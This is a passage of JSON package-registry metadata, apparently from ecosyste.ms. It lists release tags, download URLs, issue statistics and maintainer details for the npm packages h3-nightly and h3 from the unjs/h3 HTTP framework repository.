ases/tag/v0.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.3.4/manifests"},{"name":"v0.3.3","sha":"e4975dce995219529b7afa6ae3e67c2a4a4e84ba","kind":"tag","published_at":"2021-10-14T16:03:13.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.3.3","html_url":"https://github.com/unjs/h3/releases/tag/v0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.3.3/manifests"},{"name":"v0.3.2","sha":"456d654f3cea600c88672a015857753e920bb49a","kind":"tag","published_at":"2021-10-14T15:37:49.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.3.2","html_url":"https://github.com/unjs/h3/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.3.2/manifests"},{"name":"v0.3.1","sha":"be249fca8a9ccde8c9f679bf2796812d368010f8","kind":"tag","published_at":"2021-09-09T08:00:33.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.3.1","html_url":"https://github.com/unjs/h3/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.3.1/manifests"},{"name":"v0.3.0","sha":"2576b2a9fd1e1c456a092b656b1b1b1994ec4b2e","kind":"tag","published_at":"2021-07-27T11:48:36.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.3.0","html_url":"https://github.com/unjs/h3/releases/tag/v0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.3.0/manifests"},{"name":"v0.2.12","sha":"64227f9aea12624eab9679ab6fdf032088b960b4","kind":"tag","published_at":"2021-07-02T14:22:44.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.2.12","html_url":"https://github.com/unjs/h3/releases/tag/v0.2.12","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.2.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.2.12/manifests"},{"name":"v0.2.11","sha":"aeaad63da3be52c5b59f9bbfe6e6563867ac1672","kind":"tag","published_at":"2021-06-23T10:07:07.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.2.11","html_url":"https://github.com/unjs/h3/releases/tag/v0.2.11","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.2.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.2.11/manifests"},{"name":"v0.2.10","sha":"8d3903273ae8c9e861933629cf0325b295669984","kind":"tag","published_at":"2021-04-21T16:19:15.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.2.10","html_url":"https://github.com/unjs/h3/releases/tag/v0.2.10","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.2.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.2.10/manifests"},{"name":"v0.2.9","sha":"89d84b99437168ce695c2a062b9daa7b05209640","kind":"tag","published_at":"2021-04-06T12:00:55.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.2.9","html_url":"https://github.com/unjs/h3/releases/tag/v0.2.9","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.2.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.2.9/manifests"},{"name":"v0.2.8","sha":"f513beb40616b4a24e4ac20210ec96c3824a6477","kind":"tag","published_at":"2021-03-27T18:36:28.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.2.8","html_url":"https://github.com/unjs/h3/releases/tag/v0.2.8","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.2.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.2.8/manifests"},{"name":"v0.2.7","sha":"c1491af264eba7321a2b3446d0c7b65804fce66f","kind":"tag","published_at":"2021-03-27T14:25:06.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.2.7","html_url":"https://github.com/unjs/h3/releases/tag/v0.2.7","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.2.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.2.7/manifests"},{"name":"v0.2.6","sha":"db25c90fb60eaffb340747a22aee6ff3e7418c7b","kind":"tag","published_at":"2021-03-27T12:46:56.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.2.6","html_url":"https://github.com/unjs/h3/releases/tag/v0.2.6","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.2.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.2.6/manifests"},{"name":"v0.2.5","sha":"09d28348df9faffb5174f09341dacb5943f85140","kind":"tag","published_at":"2021-02-19T14:09:39.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.2.5","html_url":"https://github.com/unjs/h3/releases/tag/v0.2.5","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.2.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.2.5/manifests"},{"name":"v0.2.4","sha":"14a67bad4ed3cab4199c71559d415b99f4c06b5f","kind":"tag","published_at":"2021-01-22T20:49:24.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.2.4","html_url":"https://github.com/unjs/h3/releases/tag/v0.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.2.4/manifests"},{"name":"v0.2.3","sha":"986785def3764ab1e19bbca5db2ec6571016e8db","kind":"tag","published_at":"2021-01-20T21:47:56.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.2.3","html_url":"https://github.com/unjs/h3/releases/tag/v0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.2.3/manifests"},{"name":"v0.2.2","sha":"335facfacea0967da2c7dc3f3f579fc9ce3649b8","kind":"tag","published_at":"2021-01-20T15:40:37.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.2.2","html_url":"https://github.com/unjs/h3/releases/tag/v0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.2.2/manifests"},{"name":"v0.2.1","sha":"b376b4e156a1ec588264f158b2ee15c5e25bac3f","kind":"tag","published_at":"2021-01-12T15:03:03.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.2.1","html_url":"https://github.com/unjs/h3/releases/tag/v0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.2.1/manifests"},{"name":"v0.2.0","sha":"c0442b97606318e65ddf3bd46c0073456e6fb240","kind":"tag","published_at":"2020-12-15T11:37:49.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.2.0","html_url":"https://github.com/unjs/h3/releases/tag/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.2.0/manifests"},{"name":"v0.0.15","sha":"9680834cbb1503f6df40685c2a1015ff2a3bd5e1","kind":"tag","published_at":"2020-12-12T17:12:41.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.0.15","html_url":"https://github.com/unjs/h3/releases/tag/v0.0.15","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.0.15/manifests"},{"name":"v0.0.14","sha":"b83fa85585da891eb33592d33302894854794b04","kind":"tag","published_at":"2020-12-05T15:44:33.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.0.14","html_url":"https://github.com/unjs/h3/releases/tag/v0.0.14","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.0.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.0.14/manifests"},{"name":"v0.0.13","sha":"d8bb186eb59eeddab456bda0f94472a42380d344","kind":"tag","published_at":"2020-12-05T15:20:34.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.0.13","html_url":"https://github.com/unjs/h3/releases/tag/v0.0.13","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.0.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.0.13/manifests"},{"name":"v0.0.12","sha":"35408cefd86557e215237716b79b6c678af5a293","kind":"tag","published_at":"2020-11-23T10:21:09.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.0.12","html_url":"https://github.com/unjs/h3/releases/tag/v0.0.12","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.0.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.0.12/manifests"},{"name":"v0.0.11","sha":"ed44cc69b1a9eb633e43c409360129e7dc7ec5c6","kind":"tag","published_at":"2020-11-21T12:41:56.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.0.11","html_url":"https://github.com/unjs/h3/releases/tag/v0.0.11","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.0.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.0.11/manifests"},{"name":"v0.0.10","sha":"9aec69e6d921cdf20fa7b9a147e9fca78b54a833","kind":"tag","published_at":"2020-11-20T20:05:52.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.0.10","html_url":"https://github.com/unjs/h3/releases/tag/v0.0.10","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.0.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.0.10/manifests"},{"name":"v0.0.9","sha":"b4c141cea6451e9dade6b293961fdd0dce49332f","kind":"tag","published_at":"2020-11-20T00:13:42.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.0.9","html_url":"https://github.com/unjs/h3/releases/tag/v0.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.0.9/manifests"},{"name":"v0.0.8","sha":"9bbee0133f0a5cf49e6d6a1d77b572fc59e76d0a","kind":"tag","published_at":"2020-11-19T22:32:43.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.0.8","html_url":"https://github.com/unjs/h3/releases/tag/v0.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.0.8/manifests"},{"name":"v0.0.7","sha":"06bf935dc90352a9a82b9f1a2c6bdb71762cc695","kind":"tag","published_at":"2020-11-19T22:23:58.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.0.7","html_url":"https://github.com/unjs/h3/releases/tag/v0.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.0.7/manifests"},{"name":"v0.0.6","sha":"81ecf8e18a6b0c0aa1b1ce7b7cf81ce717a9ad7b","kind":"tag","published_at":"2020-11-19T22:22:30.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.0.6","html_url":"https://github.com/unjs/h3/releases/tag/v0.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.0.6/manifests"},{"name":"v0.0.5","sha":"824d879abc9900e398d709b2acbf382229b08005","kind":"tag","published_at":"2020-11-19T22:13:04.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.0.5","html_url":"https://github.com/unjs/h3/releases/tag/v0.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.0.5/manifests"},{"name":"v0.0.4","sha":"c8f81dd37a0bc6df199e8a420aa8a791a9799dd3","kind":"tag","published_at":"2020-11-19T17:45:21.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.0.4","html_url":"https://github.com/unjs/h3/releases/tag/v0.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.0.4/manifests"},{"name":"v0.0.3","sha":"4d39ec7a680482a1d92f94d62c4ea59839b04c4b","kind":"tag","published_at":"2020-11-19T14:28:07.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.0.3","html_url":"https://github.com/unjs/h3/releases/tag/v0.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.0.3/manifests"},{"name":"v0.0.2","sha":"6a18c9eab30f145cfef0fc634b9557c670831c21","kind":"tag","published_at":"2020-11-19T14:21:57.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.0.2","html_url":"https://github.com/unjs/h3/releases/tag/v0.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.0.2/manifests"},{"name":"v0.0.1","sha":"8dcb321faf6e1f3c784660562fd3640a03d15305","kind":"tag","published_at":"2020-11-18T20:29:29.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.0.1","html_url":"https://github.com/unjs/h3/releases/tag/v0.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.0.1/manifests"}]},"repo_metadata_updated_at":"2023-12-19T05:39:37.443Z","dependent_packages_count":0,"downloads":18683,"downloads_period":"last-month","dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":37.25568439043309,"dependent_packages_count":55.07961473951386,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":46.16764956497347},"purl":"pkg:npm/h3-nightly","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/h3-nightly","docker_dependents_count":1,"docker_downloads_count":15,"usage_url":"https://repos.ecosyste.ms/usage/npm/h3-nightly","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/h3-nightly/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2023-12-18T20:48:24.173Z","issues_count":145,"pull_requests_count":149,"avg_time_to_close_issue":6555734.617021277,"avg_time_to_close_pull_request":836447.8014705882,"issues_closed_count":94,"pull_requests_closed_count":136,"pull_request_authors_count":42,"issue_authors_count":94,"avg_comments_per_issue":2.3517241379310345,"avg_comments_per_pull_request":1.6644295302013423,"merged_pull_requests_count":124,"bot_issues_count":1,"bot_pull_requests_count":44,"past_year_issues_count":124,"past_year_pull_requests_count":146,"past_year_avg_time_to_close_issue":2220813.4736842103,"past_year_avg_time_to_close_pull_request":842637.6222222223,"past_year_issues_closed_count":76,"past_year_pull_requests_closed_count":135,"past_year_pull_request_authors_count":40,"past_year_issue_authors_count":79,"past_year_avg_comments_per_issue":1.846774193548387,"past_year_avg_comments_per_pull_request":1.5684931506849316,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":44,"past_year_merged_pull_requests_count":123,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/issues"},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/h3-nightly/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/h3-nightly/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/h3-nightly/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/h3-nightly/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/h3-nightly/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/h3-nightly/codemeta","maintainers":[{"uuid":"pi0","login":"pi0","name":null,"email":"pyapar@gmail.com","url":null,"packages_count":689,"html_url":"https://www.npmjs.com/~pi0","role":null,"created_at":"2023-07-27T16:06:26.476Z","updated_at":"2023-07-27T16:06:26.476Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/pi0/packages"}],"registry":{"name":"npmjs.org","url":"https://registry.npmjs.org","ecosystem":"npm","default":true,"packages_count":5622280,"maintainers_count":1192646,"namespaces_count":373614,"keywords_count":0,"github":"npm","metadata":{"funded_packages_count":166557},"icon_url":"https://github.com/npm.png","created_at":"2022-04-04T15:19:23.081Z","updated_at":"2026-04-03T05:46:01.652Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/namespaces"}},{"id":1247495,"name":"h3","ecosystem":"npm","description":"Minimal H(TTP) framework built for high performance and portability.","homepage":"https://h3.dev","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/h3js/h3","keywords_array":[],"namespace":null,"versions_count":141,"first_release_published_at":"2021-01-12T14:53:32.146Z","latest_release_published_at":"2016-10-16T12:45:14.545Z","latest_release_number":"2.0.0","last_synced_at":"2026-05-17T01:14:59.339Z","created_at":"2022-04-08T14:50:04.372Z","updated_at":"2026-05-17T05:18:29.329Z","registry_url":"https://www.npmjs.com/package/h3","install_command":"npm install h3","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"beta":"2.0.0-beta.5","1x":"1.15.11","latest":"2.0.1-rc.22"}},"repo_metadata":{"id":37014622,"uuid":"313641207","full_name":"unjs/h3","owner":"unjs","description":"⚡️ Minimal H(TTP) framework built for high performance and portability ","archived":false,"fork":false,"pushed_at":"2024-10-23T06:41:47.000Z","size":4007,"stargazers_count":3633,"open_issues_count":81,"forks_count":214,"subscribers_count":16,"default_branch":"main","last_synced_at":"2024-10-24T18:52:23.981Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"https://h3.unjs.io/","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/unjs.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":".github/CODEOWNERS","security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2020-11-17T14:15:44.000Z","updated_at":"2024-10-24T10:29:20.000Z","dependencies_parsed_at":"2023-01-17T13:16:03.684Z","dependency_job_id":"871f8abb-7a55-4167-a09a-d8b9ef6b8b78","html_url":"https://github.com/unjs/h3","commit_stats":{"total_commits":487,"total_committers":42,"mean_commits":"11.595238095238095","dds":0.5749486652977412,"last_synced_commit":"5f503c23286e431a249bf379b6bb779d62e71059"},"previous_names":["nuxt-contrib/h2"],"tags_count":112,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/unjs","download_url":"https://codeload.github.com/unjs/h3/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":221908665,"owners_count":16900439,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"unjs","name":"UnJS","uuid":"80154025","kind":"organization","description":"Unified JavaScript Tools","email":"hi@unjs.io","website":"https://unjs.io","location":null,"twitter":"unjsio","company":null,"icon_url":"https://avatars.githubusercontent.com/u/80154025?v=4","repositories_count":70,"last_synced_at":"2023-04-09T10:31:56.670Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/unjs","funding_links":[],"total_stars":50876,"followers":null,"following":null,"created_at":"2022-11-02T16:24:27.101Z","updated_at":"2024-03-25T17:52:25.351Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/unjs","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/unjs/repositories"},"tags":[{"name":"v1.13.0","sha":"4bd5c3f9cf863448dd97bdabe5505a964e491756","kind":"tag","published_at":"2024-10-03T19:39:49.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.13.0","html_url":"https://github.com/unjs/h3/releases/tag/v1.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.13.0/manifests"},{"name":"v1.12.0","sha":"112fa338ef5bbde6207f3317d2ef51f0e52a59fa","kind":"commit","published_at":"2024-06-19T13:40:04.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.12.0","html_url":"https://github.com/unjs/h3/releases/tag/v1.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.12.0/manifests"},{"name":"v1.11.1","sha":"5ff5be9231855baf069ad2bed4659214b35e7f16","kind":"commit","published_at":"2024-02-25T18:21:31.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.11.1","html_url":"https://github.com/unjs/h3/releases/tag/v1.11.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.11.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.11.1/manifests"},{"name":"v1.11.0","sha":"0e930efd115812c324947770c0a22711d26b3b0a","kind":"commit","published_at":"2024-02-25T18:19:42.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.11.0","html_url":"https://github.com/unjs/h3/releases/tag/v1.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.11.0/manifests"},{"name":"v1.10.2","sha":"e38d4446354aba7e28d0971737f31787f25c4cad","kind":"commit","published_at":"2024-01-29T12:24:14.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.10.2","html_url":"https://github.com/unjs/h3/releases/tag/v1.10.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.10.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.10.2/manifests"},{"name":"v1.10.1","sha":"87119a1e15f3adfe376d31b2fa9f63b179e75014","kind":"commit","published_at":"2024-01-25T22:14:53.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.10.1","html_url":"https://github.com/unjs/h3/releases/tag/v1.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.10.1/manifests"},{"name":"v1.10.0","sha":"6c7cf53e2b20036efc611f93a54a29bb94808945","kind":"commit","published_at":"2024-01-04T20:15:04.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.10.0","html_url":"https://github.com/unjs/h3/releases/tag/v1.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.10.0/manifests"},{"name":"v1.9.0","sha":"0ff34bc657986b22df6f472b685a7a59e12ac0d1","k